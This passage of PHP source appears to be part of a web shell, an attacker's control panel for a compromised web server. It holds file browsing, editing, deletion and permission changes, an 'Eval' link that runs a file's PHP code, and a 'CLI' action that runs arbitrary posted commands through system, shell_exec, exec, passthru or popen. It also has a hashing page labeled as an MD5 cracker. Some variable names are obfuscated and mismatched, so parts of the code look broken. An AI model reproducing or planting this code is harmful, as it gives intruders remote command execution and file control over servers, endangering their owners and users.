						else { echo 'Provide New Content.'; }
					}
					else { echo 'File is not Writeable.'; }
				}
				$Ext = substr(strrchr(strtolower($_GET['file']), '.'), 1);
				echo '<table>
					<tr>
						<td style="text-align:left;width:500px;overflow:auto;padding:10px;background-color:#282828;">
							<h3>';
								if (strpos($_SERVER['HTTP_USER_AGENT'],'Firefox') !== FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows') !== FALSE && !empty($Ext)) { echo '<img src="moz-icon://.',$CDrsyObtJbje,'?size=16" alt="" width="16" height="16" /> '; }
								else { echo '<img src="?action=img&amp;ext=.',$CDrsyObtJbje,'" alt="" width="16" height="16" /> '; }
								echo htmlspecialchars($_GET['file']),' <a target="_blank" href="?action=download&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'">
									<img src="?action=img&amp;image=down" width="20" height="20" alt="Download" />
								</a>
							</h3>
							MIME Type: ';
							if (class_exists('finfo')) { $finfo = new finfo(FILEINFO_MIME); echo $finfo->file($_REQUEST['file']); }
							elseif (function_exists('mime_content_type')) { echo mime_content_type($_REQUEST['file']); }
							elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_REQUEST['file']); echo $Info->content_type; }
							else { echo 'N/A'; }
							echo '<br />
							File Perms: 
							<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&amp;act=chmod">
								<font'; $A = GetPerms($_REQUEST['file']); $B = substr($A,7);
								if ($B === '--x'||$B === '---') { echo ' color="red">'; }
								elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; }
								else { echo '>'; } echo $A,'</font>
							</a> (0',
							substr(sprintf('%o',fileperms($_REQUEST['file'])),-3).')<br />
							File Size: '; $S = 0; $B = sprintf('%u', filesize($_GET['file']));while ($B>=1024) { $B/=1024;++$S; }
							if ($S === 0) { echo $B,' Bytes<br />'; }
							else {printf('%.3f %s<br />',$B,$T[$S-1]); $S = 0; }
							if (function_exists('md5_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'MD5: ',md5_file($_GET['file']),'<br />'; }
							if (function_exists('sha1_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'SHA-1: ',sha1_file($_REQUEST['file']),'<br />'; }
							echo 'Last modified: ',date('F d Y H:i:s.',filemtime($_REQUEST['file'])),'<br />
							Is Uploaded File: ',(is_uploaded_file($_GET['file']) ? 'Yes':'No'),'<br />
							Is Executable: ',(is_executable($_GET['file']) ? 'Yes':'No'),'<br />
							Is Writeable: ',(is_writable($_GET['file']) ? 'Yes':'No'),'
						</td>
						<td style="padding-left:6px;">
							<pre>[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=text&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Text</a>---]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=php&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">PHP</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=ini&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">INI</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=image&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Image</a>--]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=object&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Object</a>-]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=hexdump&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">HexDump</a>]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=rar&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">RAR</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=zip&amp;dir=',$CDrsyObtJUjy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">ZIP</a>----]<br />'; if (in_array(substr(strrchr(strtolower($_GET['file']), '.'), 1),array('php','phtml','php3','php4','php5','php6','phtm','phps'))) { echo '[<a style="color:#FF0000;" href="?action=eval&amp;code=',urlencode('if (function_exists(\'file_get_contents\') === FALSE) {function file_get_contents($File) { $handle = fopen($File, \'rb\'); $contents = fread($handle,sprintf(\'%u\',filesize($File)));fclose($handle);return $contents; }} $f = file_get_contents(\''.$_GET['file'].'\'); $NA = substr($f, 0, 2); if (substr($f, 0, 5) === \'<?php \') { $f =  substr($f, 5); } elseif ($NA === \'<?\' || $NA === \'<%\') { $f =  substr($f, 2); } $ND = substr($f, strlen($f) -2); if ($ND === \'?>\' || $ND === \'%>\') { $f =  substr($f, 0, -2); } eval($f);'),'&amp;dir=',$CDrsyObtJbXy,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Eval</a>]'; } echo '</pre>
						</td>
					</tr>
				</table>
				<br />
				<span onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 1) { window.location = \'?action=file&amp;act=delete&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'\'; }" style="color:red;" onmouseover="this.style.textDecoration = \'underline\';this.style.cursor = \'pointer\';" onmouseout="this.style.textDecoration = \'none\';">Delete</span> 
				| <a href="?action=file&amp;act=rename&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">Rename\Move</a> | 
				<a href="?action=file&amp;act=copy&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">Copy</a> | 
				<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&amp;act=chmod">Chmod</a> | 
				<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&act=chown">Chown</a> | 
				<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&act=chgrp">Chgrp</a> | 
				<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&amp;act=stat">Stat</a> | 
				<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'&amp;act=touch">Touch</a> | 
				<a href="?action=file&amp;act=gzip&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">GZip</a> | 
				<a href="?action=file&amp;act=deflate&amp;file=',urlencode($_GET['file']).'&amp;dir=',$CDrsyObtJUjy,'">Deflate</a> | 
				<a href="?action=file&amp;act=base64&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">Base64</a> | 
				<a href="?action=file&amp;act=compress&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">Compress</a>
				<br /><br />';
				if (sprintf('%u', filesize($_GET['file'])) <= 10485760 || isset($_GET['OpenWith']) || in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) {
					if ((!isset($_GET['OpenWith']) && in_array($Ext,array('php','phtml','php3','php4','php5','php6','phtm','phps'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'php')) {
						if (sprintf('%u', filesize($_GET['file'])) === 0) { echo 'PHP Script Size is 0. (No highlighting)'; }
						else {
							if (function_exists('highlight_file')) { echo '<div style="text-align:left;font-size:13px;background-color:white;overflow:auto;padding:2px;">'; highlight_file($_GET['file']); echo '</div>'; }
							elseif (function_exists('show_source')) { echo '<div style="text-align:left;font-size:13px;background-color:white;overflow:auto;padding:2px;">'; show_source($_GET['file']); echo '</div>'; }
							else { echo '<span style="color:red;">Couldn\'t highlight file using highlight_file() or show_source() functions.</span>'; }
						}
					}
					elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('png','gif','jpg','jpeg','bmp'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'image')) {
						$Size = getimagesize($_GET['file']); echo '<br /><img src="?action=getfile&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'" name="image" id="image" width="',$CDrsyObtGbjy[0],'" height="',$CDrsyObtGbjy[1],'" /><br /><br /><h3>[',$Size[0],'X',$Size[1],'] | <a href="?action=printimg&amp;file=',$CDrsyObtJUjy,urlencode($_GET['file']),'">Print image</a></h3>Dimensions: <input type="text" size="2" onkeyup="document.getElementById(\'image\').style.width= this.value + \'px\';" value="',$CDrsyObtGbjy[0],'" />X<input type="text" name="h" id="h" size="2" onkeyup="document.getElementById(\'image\').style.width= this.value + \'px\';" value="',$CDrsyObtGbjy[1],'" />';
					}
					elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('ini','inf'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'ini')) {
						echo '<br /><br /><pre style="text-align:left;">';print_r(parse_ini_file($_REQUEST['file'],TRUE)); echo '</pre>';
					}
					elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('exe','dll','so','bin','obj','com','dylib'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'hexdump')) {
						$Size = sprintf('%u', filesize($_GET['file']));
						if (!isset($_GET['show']) && $Size > 96) { $Size = 96; echo '<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=hexdump&amp;dir='.$CDrsyObtJUjy.'&show=1">[+]</a> <strong style="color:red;">Expand to Full</strong><br /><br />'; }
						$File = file_get_contents($_GET['file']);
						echo '<table style="text-align:center;border:1px solid white;color:white;"><col style="background-color:#BB0000;" /><col style="background-color:#585858;" span="16" /><col style="background-color:black;" span="16" />';
						$Last = 16; $ORDedArray = array();
						for ($i = 0; $i < $Size; $i += 16) {
							if ($Size - $i < 16) { $Last = $Size - $i; }
							for ($k = 0; $k < $Last; $k++) { $ORDedArray[$k] = ord($File[$i + $k]); }
							printf('<tr><td>%08X</td>', $i);
							for ($k = 0; $k < $Last; $k++) {
								printf('<td>%02X</td>', $ORDedArray[$k]);
							}
							if ($Last < 16) { for (; $k < 16; $k++) {  echo '<td style="background-color:#1C1C1C;"></td>'; } }
							for ($k = 0; $k < $Last; $k++) {
								if ($ORDedArray[$k] <= 31) { echo '<td>.</td>'; }
								else { echo '<td>', $File[$i + $k], '</td>'; }
							}
							echo '</tr>';
						}
						echo '</table>';
					}
					elseif ((!isset($_GET['OpenWith']) && $Ext === 'rar') || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'rar')) {
						if (class_exists('RarArchive')) {
							$rar_arch = RarArchive::open($_GET['file']);
							if ($rar_arch !== FALSE) {
								$rar_entries = $rar_arch->list();
								if ($rar_entries === FALSE) { echo 'Could not retrieve entries.'; }
								else {
									echo 'Found ',count($rar_entries),' entries.<br />';
									foreach ($rar_entries as $e) {
										echo $e, '<br />';
									}
								}
								$rar_arch->close();
							}
							else { echo 'Could not open RAR archive.'; }
							
						}
						else { echo 'The RarArchive class does not exist.'; }
					
					}

					elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'zip')) {
						if (function_exists('zip_open')) {
							if (class_exists('ZipArchive')) {
								if (isset($_POST['extdir'])) {
									if (!is_dir(realpath($_POST['extdir']))) { echo 'Invalid directory to extract the files to.'; }
									else {
										$zip = new ZipArchive;
										$res = $zip->open($_GET['file']);
										if ($res === TRUE) {
											$Result = $zip->extractTo($_POST['extdir']);
											$zip->close();
											if ($Result) { echo 'Extracted successfully to \'',htmlspecialchars(realpath($_POST['extdir'])),'\''; }
											else { echo 'Error while extracting files.'; GetLastError(); }
										}
									}
								}
								echo '<h3>Extract to:</h3><form action="" method="post"><input type="text" name="extdir" id="extdir" value="',htmlspecialchars($CDrsyObtJbXy),'" size="40" /> <input type="submit" value="Extract" /></form>';
							}
							$ZipRes = zip_open($_GET['file']);
							if (is_resource($ZipRes)) {
								echo '<h3>Zip entries:</h3><table style="text-align:left;"><tr><th>Name</th><th>Size</th><th>Compressed size</th><th>Compression method</th></tr>';
								while ($ZipRead = zip_read($ZipRes)) {
									echo '<tr><td>',zip_entry_name($ZipRead),'</td><td>'; $S = 0; $B = sprintf('%u', zip_entry_filesize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '</td><td>'; $S = 0; $B = sprintf('%u', zip_entry_compressedsize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '</td><td>',zip_entry_compressionmethod($ZipRead),'</td></tr>';
								}
								echo '</table>';
								zip_close($ZipRes);
							}
							else { echo 'Could not open ZIP archive.'; }
							
						}
						else { echo 'The ZipArchive class does not exist.'; }
					
					}
					elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('pdf','swf','wav','mid','avi','ogg','wmv','mov','mpg','mp3','doc','svg'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'object')) {
						echo '<object data="?action=getfile&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'" type="';							if($CDrsyObtJbje==='pdf'){echo 'application/pdf" width="800" height="800"'; }
							elseif ($Ext === 'doc') { echo 'application/msword" width="800" height="800"';}							else{								if($CDrsyObtJbje==='swf'){echo 'application/x-shockwave-flash"'; }
								elseif ($Ext === 'wav') { echo 'audio/x-wav"';}								elseif($CDrsyObtJbje==='mid'){echo 'audio/x-midi"'; }
								elseif ($Ext === 'avi') { echo 'video/avi"';}								elseif($CDrsyObtJbje==='ogg'){echo 'application/ogg"'; }
								elseif ($Ext === 'wmv') { echo 'video/x-ms-wmv"';}								elseif($CDrsyObtJbje==='mov'){echo 'video/quicktime" codebase="http://www.apple.com/qtactivex/qtplugin.cab" classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"'; }
								elseif ($Ext === 'mpg') { echo 'video/mpeg"';}								elseif($CDrsyObtJbje==='mp3'){echo 'audio/mpeg"'; }
								elseif ($Ext === 'svg') { echo 'image/svg+xml"';}								echo ' width="320" height="260"';							}														echo '><param name="src" value="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'"><param name="movie" value="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'"><param name="controller" value="true"><param name="autoplay" value="false"><param name="autoStart" value="0">Your browser does not support this Object type or you don\'t have the needed Plug-in.(alt:<a href="?action=getfile&amp;dir=',$CDrsyObtJUjy,'&amp;file=',urlencode($_GET['file']),'">Direct Link</a>)							</object>';
					}
					elseif (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'base64') {
						echo '<textarea cols="90" rows="25" style="overflow:auto;" spellcheck="false">',base64_encode(file_get_contents($_GET['file'])),'</textarea>';
					}
					else {
						echo '<form action="" method="post" id="form"><textarea cols="90" rows="25" style="overflow:auto;" id="fileEdit" name="fileEdit" spellcheck="false">'; echo htmlspecialchars(file_get_contents($_GET['file'])),'</textarea><br/><br/><input type="submit" value="Save" id="save" name="save"/><button onclick="document.getElementById(\'fileEdit\').select();" type="button">Select all</button><select onchange="javascript:document.getElementById(\'language\').style.display=\'inline\';document.getElementById(\'lightit\').style.display=\'inline\'; if(this.value=\'quickhighlighter.com\') {document.getElementById(\'AdditionalArgs\').innerHTML=\'&lt;input type=\'hidden\' id=\'submit\' name=\'submit\' value=\'Highlight!\' /&gt;&lt;input type=\'hidden\' id=\'word_wrap\' name=\'word_wrap\' value=\'true\' /&gt;&lt;input type=\'hidden\' id=\'tab_width\' name=\'tab_width\' value=\'4\' /&gt;&lt;input type=\'hidden\' id=\'strict_mode\' name=\'strict_mode\' value=\'on\' /&gt;&lt;input type=\'hidden\' id=\'default_color\' name=\'default_color\' value=\'000099\' /&gt;&lt;input type=\'hidden\' id=\'line_numbers\' name=\'line_numbers\' value=\'2\' /&gt;&lt;input type=\'hidden\' id=\'highlight_keywords\' name=\'highlight_keywords\' value=\'on\' /&gt;\'; }"><option value="deafult">Send to highlight:</option><option value="quickhighlighter.com">quickhighlighter.com</option></select><div style="display:none;" id="AdditionalArgs"></div><select style="display:none;" name="language" id="language"><option value="abap">ABAP</option><option value="actionscript">ActionScript</option><option value="actionscript3">ActionScript 3</option><option value="ada">Ada</option><option value="apache">Apache configuration</option><option value="applescript">AppleScript</option><option value="apt_sources">Apt sources</option><option value="asm">ASM</option><option value="asp">ASP</option><option value="autoit">AutoIt</option><option value="autohotkey">AutoHotKey</option><option value="avisynth">AviSynth</option><option value="bash">Bash</option><option value="basic4gl">Basic4GL</option><option value="bf">Brainfuck</option><option value="blitzbasic">BlitzBasic</option><option value="bnf">bnf</option><option value="boo">Boo</option><option value="c">C</option><option value="c_mac">C(Mac)</option><option value="caddcl">CAD DCL</option><option value="cadlisp">CAD Lisp</option><option value="cfdg">CFDG</option><option value="cfm">ColdFusion</option><option value="cil">CIL</option><option value="cobol">COBOL</option><option value="cpp">C++</option><option class="sublang" value="cpp-qt">&nbsp;&nbsp;C++(QT)</option><option value="csharp">C#</option><option value="css">CSS</option><option value="cuesheet">CueSheet</option><option value="d">D</option><option value="delphi">Delphi</option><option value="diff">Diff</option><option value="div">DIV</option><option value="dos">DOS</option><option value="dot">dot</option><option value="eiffel">Eiffel</option><option value="email">eMail(mbox)</option><option value="fsharp">F#</option><option value="fortran">Fortran</option><option value="freebasic">FreeBasic</option><option value="genero">genero</option><option value="gettext">GNU Gettext</option><option value="glsl">glSlang</option><option value="gml">GML</option><option value="gnuplot">Gnuplot</option><option value="groovy">Groovy</option><option value="haskell">Haskell</option><option value="hq9plus">HQ9+</option><option value="html4strict">HTML</option><option value="idl">Uno Idl</option><option value="ini">INI</option><option value="inno">Inno</option><option value="intercal">INTERCAL</option><option value="io">Io</option><option value="java">Java</option><option value="java5">Java(TM)2 Platform Standard Edition 5.0</option><option value="javascript">Javascript</option><option value="jquery">jQuery</option><option value="kixtart">KiXtart</option><option value="klonec">KLone C</option><option value="klonecpp">KLone C++</option><option value="latex">LaTeX</option><option value="lisp">Lisp</option><option value="lolcode">LOLcode</option><option value="lotusformulas">Lotus Notes @Formulas</option><option value="lotusscript">LotusScript</option><option value="lscript">LScript</option><option value="lua">Lua</option><option value="mapbasic">Map Basic</option><option value="m68k">Motorola 68000 Assembler</option><option value="make">GNU make</option><option value="matlab">Matlab M</option><option value="mirc">mIRC Scripting</option><option value="mpasm">Microchip Assembler</option><option value="mxml">MXML</option><option value="mysql">MySQL</option><option value="newlisp">NewLisp</option><option value="nsis">NSIS</option><option value="objc">Objective-C</option><option value="ocaml">OCaml</option><option class="sublang" value="ocaml-brief">&nbsp;&nbsp;OCaml(brief)</option><option value="oobas">OpenOffice.org Basic</option><option value="oracle11">Oracle 11 SQL</option><option value="oracle8">Oracle 8 SQL</option><option value="pascal">Pascal</option><option value="per">per</option><option value="perl">Perl</option><option value="perl6">Perl 6</option><option selected="selected" value="php">PHP</option><option class="sublang" value="php-brief">&nbsp;&nbsp;PHP(brief)</option><option value="pic16">PIC16</option><option value="pike">Pike</option><option value="pixelbender">Pixel Bender 1.0</option><option value="plsql">PL/SQL</option><option value="povray">POVRAY</option><option value="powershell">posh</option><option value="powerbuilder">Power Builder</option><option value="progress">Progress</option><option value="prolog">Prolog</option><option value="providex">ProvideX</option><option value="python">Python</option><option value="purebasic">PureBasic</option><option value="qbasic">QBasic/QuickBASIC</option><option value="rails">Rails</option><option value="reg">Microsoft Registry</option><option value="robots">robots.txt</option><option value="ruby">Ruby</option><option value="sas">SAS</option><option value="scala">Scala</option><option value="scheme">Scheme</option><option value="scilab">SciLab</option><option value="sdlbasic">sdlBasic</option><option value="smalltalk">Smalltalk</option><option value="smarty">Smarty</option><option value="sql">SQL</option><option value="tcl">TCL</option><option value="teraterm">Tera Term Macro</option><option value="text">Text</option><option value="thinbasic">thinBasic</option><option value="tsql">T-SQL</option><option value="typoscript">TypoScript</option><option value="vb">Visual Basic</option><option value="vbnet">vb.net</option><option value="verilog">Verilog</option><option value="vhdl">VHDL</option><option value="vim">Vim Script</option><option value="visualfoxpro">Visual Fox Pro</option><option value="visualprolog">Visual Prolog</option><option value="whitespace">Whitespace</option><option value="whois">Whois Response</option><option value="winbatch">Winbatch</option><option value="xml">XML</option><option value="xorg_conf">Xorg configuration</option><option value="xpp">X++</option><option value="z80">ZiLOG Z80 Assembler</option></select><input type="submit" value="Highlight code" id="lightit" style="display:none;" onclick="document.getElementById(\'form\').action=\'http://quickhighlighter.com/code-syntax-highlighter.php\';document.getElementById(\'fileEdit\').id=\'source\';document.getElementById(\'source\').name=\'source\';"/></form>';
					}
				}
				else {
					echo '\'',htmlspecialchars($_GET['file']),'\' is too big(>10MiB)to send.';
				}
			}
		}
		else {
			echo '\'',htmlspecialchars($_GET['file']),'\' Does Not Exist.<br/><br/><a href="?dir=',$CDrsyObtJUjy,'&amp;action=cmd&amp;act=FileMake&amp;value=',urlencode($_GET['file']),'" target="_blank">Create?</a>';
		}
	}
	if ($_GET['action'] === 'CLI') {
		echo '<form action="" method="post"><table><tr><td valign="center"><span style="font-weight:bold;color:white;">',htmlspecialchars($CDIR),' &gt;<span style="text-decoration:blink;">_</span></span></td><td><input type="text" style="background-color:#1C1C1C;width:400px;border:none;" name="c" id="c" '; if (isset($_POST['c'])) { echo 'value="',htmlspecialchars($_POST['c']),'"'; } echo '/></td><td valign="center"><input type="submit" value="Exec" style="-moz-border-radius-bottomright:0px;-webkit-border-bottom-left-radius:0px;background-color:black;"></td></tr></table><br/><textarea readonly="readonly" cols="82" rows="17" style="overflow:auto;background-color:#000000">';
		if (function_exists('system')) { system($_POST['c']); }
		elseif (function_exists('shell_exec')) { echo shell_exec($_POST['c']); }
		elseif (function_exists('exec')) { $ExecArray = array(); exec($_POST['c'],$ExecArray); foreach ($ExecArray AS $Arr) { echo $Arr,"
"; } }
		elseif (function_exists('passthru')) { passthru($_POST['c']); }
		elseif (function_exists('popen')) { $Read=''; $Handle = popen($_POST['c'],'r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); }
		else { echo 'Could not execute command using system(),shell_exec(),passthru(),exec()&& popen().'; }
		echo '</textarea>';
	}
	elseif ($_GET['action'] === 'dir') {
		echo '<div style="width:500px;text-align:left;background-color:#282828;"><fieldset>		<legend><a href="?dir=',urlencode(realpath($_GET['dirname'])),'"><h3>',htmlspecialchars(realpath($_GET['dirname'])),'</h3></a></legend>		Permissions:<a href="?action=file&amp;dir=',$CDrsyObtJUjy,'&amp;file=',$_GET['dirname'],'&amp;act=chmod"><font'; $A = GetPerms($_GET['dirname']); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'</font></a>(0'.substr(sprintf('%o',fileperms($_GET['dirname'])),-3).')<br/>		Last Modified: ',date ('F d Y H:i:s.', filemtime($_GET['dirname'])),'<br/>		Last Accessed: ',date ('F d Y H:i:s.', fileatime($_GET['dirname'])),'<br/>		Last Inode Change: ',date ('F d Y H:i:s.', filectime($_GET['dirname'])),'<br/>';
		$dir = array();
		if (function_exists('scandir')) { $dir = scandir($_GET['dirname']); }
		elseif (function_exists('glob')) { $dir = glob($_GET['dirname']); $GLOB = TRUE; }
		elseif (function_exists('opendir') && function_exists('readdir')) { $i = 0; $Handle = opendir($_GET['dirname']); while (($File = readdir($Handle))) { $dir[$i++] = $File; } closedir($Handle); }
		if (count($dir) !== 0) {
			$Dirs = 0; $Files = 0;
			foreach ($dir AS $FILE) {
				if (is_dir($FILE)) {++$Dirs; }
				else {++$Files; }
			}
			if (!isset($GLOB)) { $Dirs -= 2; }
			echo 'Contains ',$Files,' files and ',$Dirs, ' Directories<br/>';
		}
		echo '</fieldset></div>';
	}
	elseif ($_GET['action'] === 'encoder') {
		echo '<h1>Encoder/Decoder/Hasher/Base converter/MD5 cracker</h1><form method="post" action=""><table style="text-align:right;"><tr><td>Text:</td><td><input type="text" size="45" style="margin-left:6px;" name="Plain" id="Plain"'; if (isset($_POST['Plain'])) { echo ' value="',htmlspecialchars($_POST['Plain']),'"'; } echo '/></td></tr><tr><td>HMAC Key:</td><td><input type="text" size="45" style="margin-left:2px;" name="HMACKey" id="HMACKey"'; if (isset($_POST['HMACKey'])) { echo ' value="',htmlspecialchars($_POST['HMACKey']),'"'; } echo '/></td></tr><tr><td>Crypt()salt:</td><td><input type="text" size="45" name="CSalt" id="CSalt"'; if (isset($_POST['CSalt'])) { echo ' value="',htmlspecialchars($_POST['CSalt']),'"'; } echo '/></td></tr></table><br/><br/><input type="submit" value="Calculate"/></form>';
		if (isset($_POST['Plain'])) {
			echo '<br/><br/><fieldset style="width:420px;"><legend>Hashesums</legend><table><tr style="text-align: right;"><td>			Crypt:<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="'; if (empty($_POST['CSalt'])) { echo crypt($_POST['Plain']); } else { echo crypt($_POST['Plain'],$_POST['CSalt']); } echo '"/><br/>';
			if (function_exists('hash') && empty($_POST['HMACKey'])) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).':<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',hash($JDrsyObtJbjy,$_POST['Plain']).'"/><br/>'; }}
			elseif (!empty($_POST['HMACKey']) && function_exists('hash_hmac')) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).' HMAC:<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',hash_hmac($JDrsyObtJbjy,$_POST['Plain'],$_POST['HMACKey']).'"/><br/>'; }}
			elseif (function_exists('mhash')) {
					$Hashes = array('ADLER32',MHASH_ADLER32,'CRC32',MHASH_CRC32,'CRC32B',MHASH_CRC32B,'GOST',MHASH_GOST,'HAVAL128',MHASH_HAVAL128,'HAVAL160',MHASH_HAVAL160,'HAVAL192',MHASH_HAVAL192,'HAVAL256',MHASH_HAVAL256,'MD4',MHASH_MD4,'MD5',MHASH_MD5,'RIPEMD160',MHASH_RIPEMD160,'SHA1',MHASH_SHA1,'SHA256',MHASH_SHA256,'TIGER',MHASH_TIGER,'TIGER128',MHASH_TIGER128,'TIGER160',MHASH_TIGER160);
					if (empty($_POST['HMACKey'])) {
						for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) {
							echo $Hashes[$j],':<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',bin2hex(mhash($CJrsyObtJbjy[$CDrsy1btJbjy+1],$_POST['Plain'])),'"/><br/>';
						}
					}
					else {
						for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) {
							echo $Hashes[$j],' HMAC:<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',bin2hex(mhash($CJrsyObtJbjy[$CDrsy1btJbjy+1],$_POST['Plain'],$_POST['HMACKey'])),'"/><br/>';
						}	
					}
					
			}
			else {
				echo 'MD5:<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',md5($_POST['Plain']),'"/>'; if (function_exists('sha1')) { echo '<br/>SHA-1:<input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',sha1($_POST['Plain']),'"/>'; } if (function_exists('crc32')) { echo '<br/>CRC-32:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',crc32($_POST['Plain']),'"/>'; }
			}
			echo '</tr></table></fieldset><br/><fieldset style="width:450px;"><legend>Encoder\Decoder</legend><table><tr style="text-align:right;"><td>			Base64 Encode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',base64_encode($_POST['Plain']),'"/><br/>			Base64 Decode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',base64_decode($_POST['Plain']),'"/><br/>			URL Encode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',urlencode($_POST['Plain']),'"/><br/>			URL Decode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(urldecode($_POST['Plain'])),'"/><br/>			HTMLSpecialChars Encode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',str_replace('&','&amp;', htmlspecialchars($_POST['Plain'])),'"/><br/>';
			if (function_exists('htmlspecialchars_decode')) { echo 'HTMLSpecialChars Decode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(htmlspecialchars_decode($_POST['Plain'])),'"/><br/>'; }
			if (function_exists('convert_uuencode')) { echo 'UUEncode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(convert_uuencode($_POST['Plain'])),'"/><br/>'; }
